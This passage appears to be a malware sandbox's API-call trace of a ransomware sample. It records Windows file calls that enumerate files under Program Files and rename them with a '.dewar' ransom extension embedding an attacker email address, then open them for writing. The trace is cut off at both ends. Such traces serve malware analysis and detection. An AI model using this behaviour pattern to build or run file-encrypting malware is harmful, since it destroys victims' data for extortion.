lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0 [0256.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.161] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1613606) returned 1 [0256.162] CloseHandle (hObject=0x1e0) returned 1 [0256.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0x20 [0256.162] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0256.162] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0 [0256.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.164] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6717684) returned 1 [0256.164] CloseHandle (hObject=0x1e0) returned 1 [0256.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0x20 [0256.164] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0256.164] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0 [0256.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.958] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6765684) returned 1 [0256.958] CloseHandle (hObject=0x1e0) returned 1 [0256.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0x20 [0256.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0257.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0 [0257.600] SetEvent (hEvent=0x118) returned 1 [0257.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.831] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=28701) returned 1 [0257.831] CloseHandle (hObject=0x1e0) returned 1 [0257.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png")) returned 0x20 [0257.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png")) returned 0x20 [0257.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.833] SetEvent (hEvent=0x118) returned 1 [0257.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.842] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4570) returned 1 [0257.842] CloseHandle (hObject=0x1e0) returned 1 [0257.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png")) returned 0x20 [0257.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png")) returned 0x20 [0257.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.844] SetEvent (hEvent=0x118) returned 1 [0257.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.847] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2821) returned 1 [0257.847] CloseHandle (hObject=0x1e0) returned 1 [0257.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png")) returned 0x20 [0257.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png")) returned 0x20 [0257.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.849] SetEvent (hEvent=0x118) returned 1 [0257.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.851] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5088) returned 1 [0257.851] CloseHandle (hObject=0x1e0) returned 1 [0257.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png")) returned 0x20 [0257.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png")) returned 0x20 [0257.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.852] SetEvent (hEvent=0x118) returned 1 [0257.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.855] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3130) returned 1 [0257.855] CloseHandle (hObject=0x1e0) returned 1 [0257.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png")) returned 0x20 [0257.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png")) returned 0x20 [0257.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.856] SetEvent (hEvent=0x118) returned 1 [0257.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.858] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5025) returned 1 [0257.859] CloseHandle (hObject=0x1e0) returned 1 [0257.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png")) returned 0x20 [0257.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png")) returned 0x20 [0257.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.860] SetEvent (hEvent=0x118) returned 1 [0257.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.863] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3118) returned 1 [0257.863] CloseHandle (hObject=0x1e0) returned 1 [0257.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png")) returned 0x20 [0257.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png")) returned 0x20 [0257.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.864] SetEvent (hEvent=0x118) returned 1 [0258.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.408] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4955) returned 1 [0258.409] CloseHandle (hObject=0x1e0) returned 1 [0258.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png")) returned 0x20 [0258.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png")) returned 0x20 [0258.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.411] SetEvent (hEvent=0x118) returned 1 [0258.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.078] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=28672) returned 1 [0259.078] CloseHandle (hObject=0x1e0) returned 1 [0259.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui")) returned 0x20 [0259.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui")) returned 0x20 [0259.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.079] SetEvent (hEvent=0x118) returned 1 [0259.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0259.642] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=695056) returned 1 [0259.642] CloseHandle (hObject=0x204) returned 1 [0259.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0259.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0259.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.643] SetEvent (hEvent=0x118) returned 1 [0259.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.813] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=18738) returned 1 [0259.813] CloseHandle (hObject=0x1e0) returned 1 [0259.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0259.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0259.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.814] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0259.814] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0259.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 